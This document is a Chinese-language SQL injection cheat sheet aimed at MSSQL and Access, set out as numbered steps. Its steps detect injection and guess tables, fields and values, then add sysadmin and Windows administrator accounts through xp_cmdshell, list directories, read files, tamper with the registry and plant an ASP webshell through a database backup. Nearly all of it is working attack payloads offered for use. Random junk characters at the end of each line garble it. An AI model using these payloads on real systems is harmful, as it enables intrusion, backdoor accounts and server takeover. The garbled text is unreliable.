1.判断是否有注入;and 1=1 ;and 1=2 /6F 1=O(c>
2.初步判断是否是mssql ;and user>0 ;3\Fb3d
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3.注入参数是字符'and [查询条件] and ''=' IgEg
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' DLyHC=%{+h
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5.判断数据库系统 8s8q`_.)(
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;and (select count(*) from sysobjects)>0 mssql 8+a/x#b-
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;and (select count(*) from msysobjects)>0 access b7v] g]*
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 9 N=KU
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 Tv3 ZNh
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 O~d!*A
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9.(1)猜字段的ascii值(access) oD{V_/pdx
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 $';'MoS
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(2)猜字段的ascii值(mssql) b9|F>3?r>
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 \+GXUnkj
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10.测试权限结构(mssql) 9 K$F.{cx
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- a}E8ADyC
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- c}Z,xop<P{
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- i04Sf^
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- +Q-~~v7,
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- K1:F{*
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ^0{S!fs
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;and 1=(select IS_MEMBER('db_owner'));-- e7#=F6
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11.添加mssql和系统的帐户 8" 8{Nf-"
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;exec master.dbo.sp_addlogin username;-- }sJ%InL
;exec master.dbo.sp_password null,username,password;-- 4vqu(w8
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- )STt3.
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;exec master.dbo.xp_cmdshell 'net user username password W]Ph:O^5c
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- {##A|{$3%
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- T82=R@7
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- dje3&a
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12.(1)遍历目录 <Isr
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;create table dirs(paths varchar(100), id int) *"zE,Bp"
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;insert dirs exec master.dbo.xp_dirtree 'c:\' +Z;0"'K'e
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;and (select top 1 paths from dirs)>0 3^
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) IwH
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(2)遍历目录 R:ar85F
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- R2J3R5S=[
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 UVI=&y]c,p
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ` j Un
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Q o=
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ^9{ 2
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13.mssql中的存储过程 q?0goL
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xp_regenumvalues 注册表根键, 子键 Xif`gb6`
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 O-'T*M>
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xp_regread 根键,子键,键值名 5j}@Of1pd
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;exec xp_regread XqwdJND
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 x)Th2es\
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xp_regwrite 根键,子键, 值名, 值类型, 值 <'vM+Lk
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 [X=eCHB?
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 >C&!#
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xp_regdeletevalue 根键,子键,值名 tllg$CQ5
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 #M>E{w9
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 0yZw`|Zh[
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14.mssql的backup创建webshell kN) pi "
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use model dW5z0VuB$/
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create table cmd(str image); ;s!H
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insert into cmd(str) values (''); s`TBz8QO$
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backup database model to disk='c:\l.asp'; rLXn35O
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15.mssql内置函数 VuR BJ2D
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;and (select @@version)>0 获得Windows的版本号 J+4uUf/d!
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa wb?hfe
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;and (select user_name())>0 爆当前系统的连接用户 E:tUbWVp
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;and (select db_name())>0 得到当前连接的数据库 VcL
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16.简洁的webshell lt]U?VZ
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use model INT2i8oU
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create table cmd(str image); %)e+w+
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insert into cmd(str) values (''); 0k>&MkM\^
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backup database model to disk='g:\wwwtest\l.asp';